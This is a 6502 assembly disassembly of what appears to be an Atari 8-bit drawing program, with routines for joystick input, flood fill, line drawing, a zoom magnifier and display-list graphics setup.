L_4B5A ldy $06D7,x txa lsr tax L_4B75 stx EXSVOP cpy ARSTKX bcc L_4B80 lda #$FF sta EXSVOP rts L_4B80 ora #$80 sta STARP jsr L_4B95 lda ERRNUM sec sbc STOPLN+1 sta ERRNUM lda STOPLN sbc TRAPLN sta STOPLN L_4B94 rts L_4B95 jsr L_4CAD lda STOPLN+1 sta ERRNUM lda TRAPLN sta STOPLN jsr L_4C70 lda ERRSAV sta POKADR+1 lda TEMPA+1 sta SVESA ldx #$00 stx VVTP dex L_4BB0 jsr L_4C9A lda (TRAPLN+1),y sta RUNSTK L_4BB7 jsr L_4CBC bne L_4BC5 cpx #$80 beq L_4BC2 ldx #$00 L_4BC2 jmp L_4C0E L_4BC5 ldy STARP cpy #$FF beq L_4BF1 jsr L_4C9A lda (TRAPLN+1),y cmp RUNSTK bne L_4BF1 cpx #$00 beq L_4BE9 cpx #$80 bne L_4BE7 lda RUNSTK+1 bne L_4BE2 dec TOPSTK L_4BE2 dec RUNSTK+1 jsr L_4C11 L_4BE7 ldx #$00 L_4BE9 inc RUNSTK+1 bne L_4BB7 inc TOPSTK bne L_4BB7 L_4BF1 cpx #$80 beq L_4C02 cpx #$00 bne L_4C00 jsr L_4C0E ldx #$FF bne L_4BB0 L_4C00 ldx #$80 L_4C02 inc RUNSTK+1 bne L_4C08 inc TOPSTK L_4C08 jsr L_4C80 jmp L_4BB0 L_4C0E jsr L_4C80 L_4C11 lda TOPSTK bne L_4C29 lda RUNSTK+1 cmp #$80 bcs L_4C29 bit STARP bpl L_4C6D txa ora RUNSTK+1 ldy #$00 sta (STMTAB),y jmp L_4C6D L_4C29 bit STARP bmi L_4C33 jsr L_4C8F jmp L_4C6D L_4C33 lda ERRNUM pha lda STOPLN pha L_4C39 ldy #$00 lda (ERRNUM),y ldy #$02 sta (ERRNUM),y ldy ERRNUM bne L_4C47 dec STOPLN L_4C47 dec ERRNUM lda STOPLN cmp STMTAB+1 bne L_4C39 lda ERRNUM cmp STMTAB bne L_4C39 pla sta STOPLN pla sta ERRNUM jsr L_4C8F txa ldy #$00 sta (STMTAB),y iny lda TOPSTK sta (STMTAB),y iny lda RUNSTK+1 sta (STMTAB),y L_4C6D jsr L_4C92 L_4C70 lda ERRNUM sta STMTAB lda STOPLN sta STMTAB+1 ldy #$00 sty TOPSTK iny sty RUNSTK+1 rts L_4C80 jsr L_4C92 bit STARP bmi L_4C88 rts L_4C88 lda RUNSTK ldy #$00 sta (ERRNUM),y rts L_4C8F jsr L_4C92 L_4C92 inc ERRNUM beq L_4C97 rts L_4C97 inc STOPLN rts L_4C9A ldy SVESA lda $04A1,y sta TRAPLN+1 lda $0561,y sta SAVCUR ldy POKADR+1 rts L_4CA9 .byte $D2 L_4CAA jmp L_4CBF L_4CAD lda EXSVOP asl tax lda L_4CA9,x sta STMCUR lda L_4CAA,x sta STMCUR+1 rts L_4CBC jmp (STMCUR) L_4CBF inc POKADR+1 lda POKADR+1 cmp TEMPA bcc L_4CD1 inc SVESA lda ERRSAV sta POKADR+1 ldy SVESA cpy ZTEMP2 L_4CD1 rts inc SVESA inc SVESA lda SVESA cmp ZTEMP2 bcs L_4CDD rts L_4CDD lda VVTP beq L_4CE3 inc POKADR+1 L_4CE3 eor #$01 sta VVTP clc adc TEMPA+1 sta SVESA ldy POKADR+1 cpy TEMPA rts L_4CF1 jsr L_4D75 jsr L_4CAD lda ERRSAV sta POKADR+1 lda TEMPA+1 sta SVESA ldx #$00 L_4D01 stx STARP+1 jsr L_4D4C cmp #$80 bcc L_4D23 and #$7F bne L_4D11 jsr L_4D3A L_4D11 tax L_4D12 jsr L_4D4C sta RUNSTK jsr L_4D56 dex bne L_4D12 dec STARP+1 bpl L_4D12 bmi L_4D01 L_4D23 tax bne L_4D29 jsr L_4D3A L_4D29 jsr L_4D4C sta RUNSTK L_4D2E jsr L_4D56 dex bne L_4D2E dec STARP+1 bpl L_4D2E bmi L_4D01 L_4D3A jsr L_48F8 bmi L_4D71 sta STARP+1 jsr L_48F8 bmi L_4D71 tax bne L_4D4B dec STARP+1 L_4D4B rts L_4D4C stx SVESA+1 jsr L_48F8 bmi L_4D71 ldx SVESA+1 rts L_4D56 lda POKADR+1 cmp #$28 bcs L_4D69 lda SVESA cmp #$C0 bcs L_4D69 jsr L_4C9A lda RUNSTK sta (TRAPLN+1),y L_4D69 jsr L_4CBC beq L_4D6F rts L_4D6F ldy #$00 L_4D71 pla pla tya rts L_4D75 lda #$00 ldx #$0B L_4D79 sta VVTP,x dex bpl L_4D79 sta DATALN+1 rts L_4D81 jsr L_53D9 bne L_4D8B lda CH cmp #$FF L_4D8B rts L_4D8C sta STMCUR sty STMCUR+1 jmp (STMCUR) L_4D93 ldy #$00 tya L_4D96 sta (FCHRFLG),y iny bne L_4D96 lda DIGRT sec sbc #$04 sta PMBASE lda #$3A sta SDMCTL sta DMACTL lda #$34 sta PCOLR0 lda #$02 sta GRACTL sta FR2+4 rts L_4DB8 lda #$00 sta SDMCTL sta DMACTL beq L_4DCD L_4DC2 lda FLPTR bne L_4DDE lda #$22 sta SDMCTL lda #$00 L_4DCD sta FR2+4 sta GRACTL ldx #$03 L_4DD4 sta HPOSP0,x sta GRAFP0,x dex bpl L_4DD4 rts L_4DDE lda #$00 sta FR2+4 sta HPOSP0 rts L_4DE6 jsr L_53D9 bne L_4DF2 lda CH cmp #$FF beq L_4DE6 L_4DF2 lda #$FF sta CH rts L_4DF8 sta SDLSTL sty SDLSTH lda #$22 sta SDMCTL lda #$C0 sta NMIEN rts L_4E09 .byte $3F, $CF, $F3, $FC, $C0, $30, $0C, $03 .byte $00, $00, $00, $00, $55, $55, $55, $55 .byte $AA, $AA, $AA, $AA, $FF, $FF, $FF, $FF .byte $44, $11, $44, $11, $88, $22, $88, $22 .byte $CC, $33, $CC, $33, $66, $99, $66, $99 .byte $77, $DD, $77, $DD, $BB, $EE, $BB, $EE .byte $88, $11, $88, $11, $88, $33, $88, $33 .byte $33, $99, $33, $99, $66, $11, $66, $11 .byte $BB, $66, $BB, $66, $BB, $22, $BB, $22 L_4E51 jsr L_5104 cmp OPSTKX beq L_4E69 sta ECSIZE lda $CF pha lda #$00 sta $CF sta COMCNT jsr L_4E6F pla sta $CF L_4E69 lda #$FF sta CH rts L_4E6F jsr L_5131 sec lda SDLSTL sbc #$03 sta ERRNUM sta FR1+4 lda SDLSTH sbc #$00 sta STOPLN sta FR1+5 lda SVESA sta ECSIZE+1 jsr L_5354 jmp L_4EB7 L_4E8F jsr L_4D81 bne L_4EA0 lda ERRNUM cmp FR1+4 bne L_4EA1 lda STOPLN cmp FR1+5 bne L_4EA1 L_4EA0 rts L_4EA1 clc lda ERRNUM adc #$02 sta ERRNUM bcc L_4EAC inc STOPLN L_4EAC ldy #$00 lda (ERRNUM),y sta SVESA iny lda (ERRNUM),y sta POKADR+1 L_4EB7 lda POKADR+1 sta VNTD+1 L_4EBB jsr L_5104 cmp ECSIZE bne L_4ECD jsr L_50C8 inc POKADR+1 lda POKADR+1 cmp #$A0 bne L_4EBB L_4ECD lda POKADR+1 sta VVTP beq L_4ED5 dec VVTP L_4ED5 lda VNTD+1 sta POKADR+1 L_4ED9 dec POKADR+1 lda POKADR+1 cmp #$FF beq L_4EEE jsr L_5104 cmp ECSIZE bne L_4EEE jsr L_50C8 jmp L_4ED9 L_4EEE lda POKADR+1 sta VVTP+1 inc VVTP+1 lda VNTD+1 sta POKADR+1 inc ECSIZE+1 lda SVESA cmp ECSIZE+1 bne L_4F09 jsr L_4F19 jsr L_4F4A jmp L_4F3B L_4F09 dec ECSIZE+1 dec ECSIZE+1 lda SVESA cmp ECSIZE+1 bne L_4F35 jsr L_4F19 bcs L_4F38 L_4F18 rts L_4F19 dec STMTAB+1 lda STMTAB+1 cmp #$FF bne L_4F23 inc STMTAB+1 L_4F23 lda VVTP+1 sec sbc STMTAB+1 bcc L_4F33 inc STMTAB lda STMTAB sec sbc VVTP bcs L_4F18 L_4F33 pla pla L_4F35 jsr L_4F4A L_4F38 jsr L_4F61 L_4F3B lda SVESA sta ECSIZE+1 lda VVTP+1 sta STMTAB+1 lda VVTP sta STMTAB jmp L_4E8F L_4F4A lda SVESA sta VNTD inc SVESA lda SVESA cmp #$C0 beq L_4FB8 lda POKADR+1 sta VNTD+1 lda #$00 sta STMCUR+1 jmp L_4F6F L_4F61 lda SVESA beq L_4F18 sta STMCUR+1 sta VNTD lda POKADR+1 sta VNTD+1 dec SVESA L_4F6F lda VVTP+1 sta POKADR+1 jmp L_4F78 L_4F76 inc POKADR+1 L_4F78 lda VVTP cmp POKADR+1 bcc L_4FB4 jsr L_5104 cmp ECSIZE bne L_4F76 lda POKADR+1 beq L_4F98 cmp VVTP+1 bne L_4F98 dec POKADR+1 jsr L_5104 inc POKADR+1 cmp ECSIZE beq L_4FF5 L_4F98 lda SVESA ldx STMCUR+1 bne L_4FBD cmp #$BF beq L_4FCC inc SVESA jsr L_5104 dec SVESA cmp ECSIZE beq L_4FF5 bne L_4FCC L_4FAF dec POKADR+1 jsr L_50B8 L_4FB4 lda VNTD+1 sta POKADR+1 L_4FB8 lda VNTD sta SVESA rts L_4FBD cmp #$00 beq L_4FCC dec SVESA jsr L_5104 inc SVESA cmp ECSIZE beq L_4FF5 L_4FCC inc POKADR+1 lda POKADR+1 cmp #$A0 beq L_4FAF jsr L_5104 dec POKADR+1 cmp ECSIZE beq L_4FF5 jsr L_50C8 inc POKADR+1 bne L_4F76 L_4FE4 inc POKADR+1 lda VVTP cmp POKADR+1 bcc L_4FB4 jsr L_5104 cmp ECSIZE beq L_4FE4 bne L_4F76 L_4FF5 ldy #$00 lda SVESA sta (ERRNUM),y iny lda POKADR+1 sta (ERRNUM),y sec lda ERRNUM sbc #$02 sta ERRNUM bcs L_500B dec STOPLN L_500B lda STOPLN cmp RADFLG bcs L_4FE4 jsr L_4D81 beq L_5019 L_5016 jmp L_4EA0 L_5019 lda CH cmp #$FF bne L_5016 lda CPC cmp #$02 bcs L_502F lda COX bne L_502F inc DATALN+1 jmp L_4EA1 L_502F lda FR1+4 sta IODVC sta ERRNUM lda FR1+5 sta PROMPT sta STOPLN lda #$00 sta CPC sta COX L_5041 ldy #$00 lda (IODVC),y sta SVESA iny lda (IODVC),y sta POKADR+1 jsr L_5104 cmp ECSIZE bne L_506B ldy #$00 lda SVESA sta (ERRNUM),y iny lda POKADR+1 sta (ERRNUM),y sec lda ERRNUM sbc #$02 sta ERRNUM bcs L_5071 dec STOPLN bne L_5071 L_506B inc CPC bne L_5071 inc COX L_5071 sec lda IODVC sbc #$02 sta IODVC bcs L_5041 dec PROMPT lda PROMPT cmp ZTEMP3+1 bne L_5041 beq L_500B L_5084 ldy POKADR+1 cpy #$A0 bcs L_50EF lda SVESA cmp #$C0 bcs L_50EF ldx ADFLAG beq L_50B8 pha tya pha jsr L_50B8 lda #$9F sec sbc POKADR+1 sta POKADR+1 jsr L_50C4 lda #$BF sec sbc SVESA sta SVESA jsr L_50B8 pla sta POKADR+1 jsr L_50C4 pla sta SVESA rts L_50B8 ldy SVESA lda $04A1,y sta STOPLN+1 lda $0561,y sta TRAPLN L_50C4 lda COMCNT bne L_50F2 L_50C8 ldx POKADR+1 lda SVESA and #$03 asl asl sta STMLBD txa and #$03 clc adc STMLBD tay lda $0488,y sta STMLBD txa lsr lsr tay txa and #$03 tax lda L_4E09,x and (STOPLN+1),y ora STMLBD sta (STOPLN+1),y L_50EF rts cmp #$C7 L_50F2 ldx POKADR+1 txa lsr lsr tay txa and #$03 tax lda $4E0D,x eor (STOPLN+1),y sta (STOPLN+1),y rts L_5104 ldy SVESA lda $04A1,y sta STOPLN+1 lda $0561,y sta TRAPLN lda POKADR+1 lsr lsr tay lda POKADR+1 and #$03 tax lda $4E0D,x and (STOPLN+1),y cmp #$04 bcc L_5130 ldx #$01 bit MVFA+1 beq L_512F inx bit MVFA beq L_512F inx L_512F txa L_5130 rts L_5131 lda #$EF sta MVTA sta CPC sta COX ldy #$00 sty STMTAB sty STMTAB+1 sty DATALN+1 rts L_5142 lda #$00 sta COLOR L_5146 rts L_5147 jsr L_5354 jsr L_5142 sta PTABW jsr L_4D93 L_5152 jsr L_51C6 lda FR2 cmp #$02 beq L_516D cmp #$08 beq L_5146 cmp #$12 beq L_516A cmp #$04 bcs L_5152 jmp L_5152 L_516A jsr L_5238 L_516D jsr L_4DC2 jmp L_5917 L_5173 jsr L_5354 lda LELNUM bne L_517F lda #$08 jsr L_565C L_517F jsr L_4D93 L_5182 jsr L_5142 lda #$FF sta PTABW L_5189 jsr L_51C6 L_518C lda FR2 cmp #$01 beq L_517F cmp #$02 beq L_51A8 cmp #$08 beq L_51A5 cmp #$12 beq L_516A cmp #$04 bcs L_5189 jmp L_5182 L_51A5 jmp L_4DC2 L_51A8 lda LELNUM bne L_51AF jsr L_4DC2 L_51AF jsr L_56B5 jmp L_51C0 L_51B5 jsr L_51C6 lda FR2 bne L_518C lda VVTP bne L_51AF L_51C0 jsr L_56D2 jmp L_51B5 L_51C6 lda #$00 sta VVTP sta VVTP+1 jsr L_5263 lda FR2 cmp #$08 beq L_5237 lda SAVE_STICK_Y ; restrict Y >= 10 cmp #$0A bcs L_51DD lda #$0A L_51DD cmp #$CA ; restrict Y <= 201 bcc L_51E3 lda #$C9 L_51E3 sec sbc #$0A ; normalize Y to 0 offset sta SAVE_STICK_Y ldx SAVE_STICK_X ldy $CF beq STORE_EXIT ldy $D1 bne STORE_EXIT lsr SAVE_STICK_X ; divide coords by 4 (magnifier) lsr SAVE_STICK_X lsr SAVE_STICK_Y lsr SAVE_STICK_Y lda VVTP beq L_521C lda SAVE_STICK_X sec sbc $CB sta FR0+1 ldx #$9F bcc L_520B ldx #$00 L_520B stx FR0+3 lda SAVE_STICK_Y sec sbc $CC sta FR0+2 ldx #$BF bcc L_521A ldx #$00 L_521A stx FR0+4 L_521C lda SAVE_STICK_X sec sbc FR0+1 cmp #$A0 bcc L_5227 lda FR0+3 L_5227 tax lda SAVE_STICK_Y sec sbc FR0+2 cmp #$C0 bcc STORE_EXIT lda FR0+4 STORE_EXIT sta $CC stx $CB L_5237 rts L_5238 lda #$21 L_523A sta FRE+4 lda #$08 sta FR2 sta ATRACT rts L_5243 lda #$01 sta FR1 inc VVTP+1 lda VVTP+1 cmp #$06 bcc L_5254 sta VVTP jsr L_4DC2 L_5254 jsr L_53D9 bne L_525F lda #$01 sta FRE+5 bne L_5269 L_525F lda FRE+5 bne L_5238 L_5263 lda #$00 sta FRE+5 sta FR1 L_5269 lda HELPFG beq L_5277 lda #$00 sta HELPFG lda #$26 bne L_523A L_5277 lda CH cmp #$FF bne L_523A jsr L_5373 cpx #$E4 bcc L_5289 dex stx STICK_Y iny L_5289 cpy #$02 bcs L_5243 lda STICK_X sta SAVE_STICK_X lda STICK_Y sta SAVE_STICK_Y nop nop nop nop nop nop lda VVTP beq L_52AF lda STINDEX bne L_52AC lda FR2 ror bcs L_52AC lda LELNUM beq L_52AF L_52AC jsr L_4D93 L_52AF ldy SAVE_STICK_Y lda FR1 bne L_5263 lda #$00 sta FRE+5 sta ATRACT lda SAVE_STICK_X tax sec sbc FR2+1 stx FR2+1 bcs L_52C9 eor #$FF adc #$01 L_52C9 cmp #$04 lda FR2+2 sty FR2+2 bcs L_5269 sec sbc SAVE_STICK_Y bcs L_52DA eor #$FF adc #$01 L_52DA cmp #$04 bcs L_5269 jsr L_538A lda #$00 sta FRE+5 sta STARP sta LOMEM+1 lda SAVE_STICK_X lsr sta LOMEM ror LOMEM+1 ldx LOMEM+1 stx VNTP+1 lsr sta VNTP ror VNTP+1 lda SAVE_STICK_X asl rol STARP adc SAVE_STICK_X bcc L_5305 inc STARP clc L_5305 adc LOMEM+1 bcc L_530C inc STARP clc L_530C adc VNTP+1 lda STARP adc LOMEM adc VNTP sta SAVE_STICK_X jsr L_53D9 beq L_532D sta ATRACT and #$04 cmp #$04 beq L_5337 lda COLOR beq L_5331 jsr L_5142 L_532A jsr L_5344 L_532D lda COLOR beq L_5360 L_5331 lda FR2 asl jmp L_5364 L_5337 lda PTABW beq L_5331 lda COLOR eor #$FF sta COLOR jmp L_532A L_5344 lda CH cmp #$FF beq L_534E jmp L_536B L_534E jsr L_53D9 bne L_5344 rts L_5354 lda CH cmp #$FF bne L_5369 jsr L_53D9 bne L_5354 L_5360 lda FR2 sec rol L_5364 and #$03 sta FR2 rts L_5369 pla pla L_536B lda CH and #$3F jmp L_523A L_5373 jsr WAIT_STICK ldx STICK_X cpx #$D2 bcc L_5380 dex stx STICK_X iny L_5380 cmp STICK_Y bne L_5387 inc STICK_Y iny L_5387 ldx STICK_Y rts L_538A lda VVTP beq L_539E ldx #$04 L_5390 lda SAVE_STICK_X sta $0480,x lda SAVE_STICK_Y sta $0481,x dex dex bpl L_5390 L_539E ldx #$05 L_53A0 lda $0480,x sta $0482,x dex bpl L_53A0 lda SAVE_STICK_X sta $0480 ldx #$06 jsr L_53C2 sta SAVE_STICK_X lda SAVE_STICK_Y sta $0481 ldx #$07 jsr L_53C2 sta SAVE_STICK_Y rts L_53C2 lda #$00 sta VNTD+1 L_53C6 clc adc $0480,x bcc L_53CE inc VNTD+1 L_53CE dex dex bpl L_53C6 lsr VNTD+1 ror lsr VNTD+1 ror rts L_53D9 lda CONSOL cmp #$07 beq L_53E8 cmp #$03 beq L_53FE lda #$0B bne L_5400 L_53E8 lda STRIG0 cmp #$01 bne L_5400 lda STRIG1 cmp #$01 bne L_5400 nop lda #$0F cmp #$0F bne L_5400 rts L_53FE lda #$07 L_5400 sta ATRACT rts lda #$00 sta FR2+3 lda INBUFF+1 sta CHBASE lda $CF beq L_5474 lda $CC cmp #$0C bcs L_5418 lda #$0B L_5418 cmp #$B4 bcc L_541E lda #$B2 L_541E adc #$0C tay lda $CB cmp #$15 bcs L_5431 lda #$00 sta VNUM lda #$0F sta VTYPE bne L_544A L_5431 cmp #$8C bcc L_5437 lda #$8C L_5437 sec sbc #$15 sta VNUM and #$03 eor #$03 asl asl sta VTYPE lda VNUM lsr lsr sta VNUM L_544A ldx #$46 L_544C clc lda $04A1,y adc VNUM sta $0624,x lda $0561,y adc #$00 sta $0625,x dey dex dex dex bpl L_544C lda #$21 sta DLISTL lda #$06 sta DLISTH lda VTYPE sta HSCROL lda #$01 L_5474 lda FR2+4 bne L_547B jmp XITVBV L_547B ldy CIX ldx INBUFF lda #$00 L_5481 sta (FCHRFLG),y iny dex bne L_5481 lda $CF beq L_54F2 lda #$03 sta SIZEP0 lda $CC cmp #$0C bcc L_54A0 sbc #$B4 bcs L_549E lda #$0B bcc L_54A0 L_549E adc #$0B L_54A0 sec sbc EEXP asl asl asl clc adc #$20 sta CIX sta ZTEMP1 lda $CB cmp #$14 bcc L_54BD sbc #$8C bcs L_54BB lda #$14 bcc L_54BD L_54BB adc #$13 L_54BD sec sbc FRX asl asl clc adc #$30 tay lda VTYPE cmp #$0F bne L_54CD dey L_54CD sty HPOSP0 lda FR2+5 tay asl asl asl sta INBUFF dey L_54D9 sty ZTEMP1+1 lda (NSIGN),y ldy ZTEMP1 ldx #$08 L_54E1 sta (FCHRFLG),y iny beq L_5520 dex bne L_54E1 sty ZTEMP1 ldy ZTEMP1+1 dey bpl L_54D9 bmi L_5520 L_54F2 sta SIZEP0 lda $CB clc adc #$30 sec sbc FRX sta HPOSP0 lda $CC clc adc #$20 sec sbc EEXP sta ZTEMP1 sta CIX ldy FR2+5 sty INBUFF dey tya tax L_5513 lda (NSIGN),y ldy ZTEMP1 sta (FCHRFLG),y inc ZTEMP1 dex txa tay bpl L_5513 L_5520 lda PCOLR0 eor #$BE sta PCOLR0 jmp XITVBV lda FLPTR bne L_5532 jsr L_3F87 L_5532 lda #$00 sta FLPTR sta $CF jsr L_4DB8 jsr L_34D6 lda #$04 sta COLOR1 lda #$E0 sta INBUFF+1 lda #$0C sta HSCROL lda #$A8 ldy #$55 jsr L_4DF8 lda #$08 sta ONLOOP jsr L_565C jsr L_5147 jsr L_5917 jsr L_4DC2 lda FR2 cmp #$08 beq L_557F lda $CB cmp #$42 bcc L_55A2 cmp #$5E bcs L_55A2 lda $CC cmp #$5B bcc L_55A2 cmp #$65 bcs L_55A2 bcc L_558A L_557F lda #$FF sta CH lda FRE+4 cmp #$2B bne L_55A2 L_558A ldx #$C0 lda #$00 L_558E ldy $04A0,x sty STOPLN+1 ldy $0560,x sty TRAPLN ldy #$27 L_559A sta (STOPLN+1),y dey bpl L_559A dex bne L_558E L_55A2 jsr L_3F64 jmp L_3DA9 .byte $70, $70, $70, $57, $38, $36, $70, $56 .byte $5A, $35, $70, $46, $D8, $55, $70, $70 .byte $56, $EA, $55, $70, $42, $27, $56, $30 .byte $56, $47, $56, $70, $70, $70, $42, $FB .byte $55, $30, $46, $1C, $56, $70, $70, $70 .byte $70, $70, $42, $45, $36, $41, $A8, $55 .byte $00, $00, $8D, $00, $A5, $B2, $A1, $B3 .byte $A5, $00, $B3, $A3, $B2, $A5, $A5, $AE .byte $00, $8D, $00, $00, $00, $00, $21, $32 .byte $25, $00, $39, $2F, $35, $00, $33, $35 .byte $32, $25, $1F, $00, $00, $00, $00, $00 .byte $00, $21, $6E, $79, $74, $68, $69, $6E .byte $67, $00, $65, $6C, $73, $65, $00, $63 .byte $61, $6E, $63, $65, $6C, $73, $00, $25 .byte $72, $61, $73, $65, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $2E, $2F, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $34, $6F, $75, $63, $68, $00, $68, $65 .byte $72, $65, $00, $5D, $00, $6F, $72, $00 .byte $70, $72, $65, $73, $73, $00, $39, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $39, $25, $33, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00 L_565C jsr L_56A4 lda #$00 sta LELNUM+1 ldx ONLOOP lda $5DB9,x sta FR2+5 lda $5DC3,x sta FRX lda $5DCD,x sta EEXP lda $5DD7,x sta NSIGN lda $5DE1,x sta ESIGN jsr L_4D93 L_5681 lda (SAVCUR+1),y ldx LELNUM+1 cpx ONLOOP beq L_568F jsr L_5698 jmp L_5681 L_568F lda SAVCUR+1 sta ENTDTD lda IOCMD sta LISTDTD rts L_5698 inc LELNUM+1 clc adc SAVCUR+1 sta SAVCUR+1 bcc L_56A3 inc IOCMD L_56A3 rts L_56A4 lda #$75 sta SAVCUR+1 lda #$5D sta IOCMD ldy #$00 sty LELNUM+1 sty STENUM sty DATALN+1 rts L_56B5 lda $CB sta POKADR+1 lda $CC sta SVESA L_56BD lda #$FE sta MVTA lda LELNUM bne L_56CE lda POKADR+1 sta CPC+1 lda SVESA sta LLNGTH rts L_56CE lda #$80 bne L_56E3 L_56D2 lda $CB sta POKADR+1 lda $CC sta SVESA L_56DA lda LELNUM bne L_56E1 jmp L_5770 L_56E1 lda #$40 L_56E3 sta MVLNG lda ENTDTD sta SAVCUR+1 lda LISTDTD sta IOCMD ldy #$01 sty MVLNG+1 lda POKADR+1 clc adc #$1E sec sbc (SAVCUR+1),y sta SVESA+1 iny lda SVESA clc adc #$1E sec sbc (SAVCUR+1),y sta SVESA sty SVDISP L_5708 ldx SVESA+1 stx POKADR+1 jmp L_575D L_570F rol L_5710 rol bcs L_576D bpl L_571A inc SVESA jmp L_5708 L_571A pha lda POKADR+1 pha lda SVESA pha lda COMCNT ora FR0+5 beq L_572D jsr L_57F9 jmp L_5754 L_572D asl MVLNG bcc L_573B pla sta LLNGTH pla sta CPC+1 pla rts cmp #$C7 L_573B bpl L_5745 asl MVLNG jsr L_5770 jmp L_5754 L_5745 lda LOMEM+1 sta VNTP+1 lda TSLNUM+1 sta TSLNUM lda DATALN sta DATAD jsr L_57BA L_5754 pla sta SVESA pla sta POKADR+1 pla L_575B inc POKADR+1 L_575D dec MVLNG+1 bne L_570F inc SVDISP ldy SVDISP lda (SAVCUR+1),y ldx #$04 stx MVLNG+1 bne L_5710 L_576D bpl L_575B rts L_5770 lda #$FF sta DATAD sta DATALN lda #$80 sta LOMEM lda POKADR+1 tax sec sbc CPC+1 bcs L_5788 eor #$FF adc #$01 asl LOMEM L_5788 sta LOMEM+1 lda LOMEM+1 sta VNTP+1 stx CPC+1 lda SVESA tax clc sbc LLNGTH bcc L_579C eor #$FF adc #$FE L_579C sta VNTP stx LLNGTH ror LOMEM sec sbc LOMEM+1 sta TSLNUM sta TSLNUM+1 bcs L_57BA dec DATAD dec DATALN bne L_57BA L_57B1 asl bmi L_57B8 inc POKADR+1 bne L_57BA L_57B8 dec POKADR+1 L_57BA sec lda VNTP+1 adc VNTP L_57BF sta VNTP+1 php lda LELNUM bne L_57CC jsr L_5084 jmp L_57DB L_57CC lda POKADR+1 pha lda SVESA pha jsr L_57F9 pla sta SVESA pla sta POKADR+1 L_57DB plp inc TSLNUM bne L_57E4 inc DATAD beq L_57F8 L_57E4 lda LOMEM bcs L_57B1 bmi L_57EE inc SVESA bne L_57F0 L_57EE dec SVESA L_57F0 clc lda VNTP+1 adc LOMEM+1 jmp L_57BF L_57F8 rts L_57F9 lda POKADR+1 sec sbc #$1E sta POKADR+1 lda SVESA sec sbc #$1E sta SVESA jmp L_5084 L_580A jsr L_51C6 lda FR2 bne L_57F8 lda $CB sta TEMPA+1 lda $CC sta ZTEMP2 jsr L_58A7 jmp L_580A L_581F lda #$7F sta COMCNT jsr L_5945 lda POKADR+1 sta ERRSAV sta TEMPA+1 sta CPC+1 lda SVESA sta TEMPA sta ZTEMP2 sta LLNGTH jsr L_588E L_5839 jsr L_51C6 lda FR2 cmp #$08 beq L_5884 cmp #$01 beq L_584A cmp #$03 bne L_5839 L_584A jsr L_51C6 lda FR2 cmp #$02 beq L_587C cmp #$12 beq L_5884 cmp #$08 beq L_5884 bcs L_584A lda $CB cmp TEMPA+1 bne L_586B lda $CC cmp ZTEMP2 beq L_584A lda TEMPA+1 L_586B pha jsr L_588E pla sta TEMPA+1 lda $CC sta ZTEMP2 jsr L_588E jmp L_584A L_587C jsr L_5884 lda ZTEMP2+1 bne L_588E rts L_5884 jsr L_588E lda #$00 sta COMCNT jmp L_596C L_588E lda ZTEMP2+1 beq L_5896 cmp #$06 bne L_5899 L_5896 jmp L_59A2 L_5899 cmp #$07 bne L_58A7 lda COMCNT beq L_58A4 jmp L_59A2 L_58A4 jmp L_594E L_58A7 lda COMCNT beq L_58BE lda ERRSAV sta CPC+1 lda TEMPA sta LLNGTH lda TEMPA+1 sta POKADR+1 lda ZTEMP2 sta SVESA jmp L_5770 L_58BE lda ERRSAV sta POKADR+1 lda TEMPA sta SVESA jsr L_56BD lda TEMPA+1 sta POKADR+1 lda ZTEMP2 sta SVESA jmp L_56DA L_58D4 sta OPSTKX ldy #$00 sty TRAPLN asl rol TRAPLN asl rol TRAPLN adc #$11 sta STOPLN+1 lda TRAPLN adc #$4E sta TRAPLN lda (STOPLN+1),y sta ARSTKX iny lda (STOPLN+1),y sta EXSVOP ldx #$0F ldy #$03 L_58F7 lda #$03 sta VNTD sta STMLBD L_58FD lda (STOPLN+1),y and STMLBD sta $0488,x asl STMLBD asl STMLBD dex dec VNTD bpl L_58FD dey bpl L_58F7 rts lda #$FF sta CH rts L_5917 ldy #$08 lda DIRFLG beq L_5929 L_591D tya jsr L_592F eor #$FF jsr L_592F dey bne L_591D L_5929 lda #$08 sta CONSOL rts L_592F tax L_5930 dex bne L_5930 sta CONSOL rts L_5937 stx POKADR+1 sty SVESA jmp L_56BD L_593E stx POKADR+1 sty SVESA jmp L_56DA L_5945 lda LELNUM sta LOADFLG lda #$00 sta LELNUM rts L_594E jsr L_5945 ldx TEMPA cpx ZTEMP2 bcc L_595D lda ZTEMP2 sta TEMPA stx ZTEMP2 L_595D ldx ERRSAV cpx TEMPA+1 bcc L_5969 lda TEMPA+1 sta ERRSAV stx TEMPA+1 L_5969 jsr L_5971 L_596C lda LOADFLG sta LELNUM rts L_5971 jsr L_5354 inc TEMPA+1 inc ZTEMP2 lda TEMPA sta SVESA L_597C lda ERRSAV sta POKADR+1 L_5980 jsr L_5084 inc POKADR+1 lda POKADR+1 cmp TEMPA+1 bcc L_5980 jsr L_4D81 bne L_5998 inc SVESA lda SVESA cmp ZTEMP2 bcc L_597C L_5998 dec TEMPA+1 dec ZTEMP2 lda #$FF sta CH rts L_59A2 ldx ERRSAV ldy TEMPA jsr L_5937 ldx TEMPA+1 ldy TEMPA jsr L_593E ldx TEMPA+1 ldy TEMPA jsr L_5937 ldx TEMPA+1 ldy ZTEMP2 jsr L_593E ldx TEMPA+1 ldy ZTEMP2 jsr L_5937 ldx ERRSAV ldy ZTEMP2 jsr L_593E ldx ERRSAV ldy ZTEMP2 jsr L_5937 ldx ERRSAV ldy TEMPA jmp L_593E L_59DA sta STMTAB ldx #$00 stx STMTAB+1 stx STARP stx STARP+1 L_59E4 lsr bcc L_59F6 tax clc lda STMTAB adc STARP sta STARP lda STMTAB+1 adc STARP+1 sta STARP+1 txa L_59F6 beq L_59FE asl STMTAB rol STMTAB+1 bcc L_59E4 L_59FE lda STARP ldx STARP+1 rts L_5A03 lda STMCUR sta TOPSTK+1 lda STMCUR+1 sta MEOLFLG lda #$00 sta RUNSTK sta TOPSTK sec ror TOPSTK ldx #$06 stx VNTD+1 L_5A18 lda #$00 sta RUNSTK+1 clc lda TOPSTK adc RUNSTK adc RUNSTK rol RUNSTK+1 L_5A25 asl rol RUNSTK+1 dex bpl L_5A25 sta VNTD lda TOPSTK+1 sec sbc VNTD tay lda MEOLFLG sbc RUNSTK+1 bcc L_5A44 sta MEOLFLG sty TOPSTK+1 clc lda RUNSTK adc TOPSTK sta RUNSTK L_5A44 lsr TOPSTK dec VNTD+1 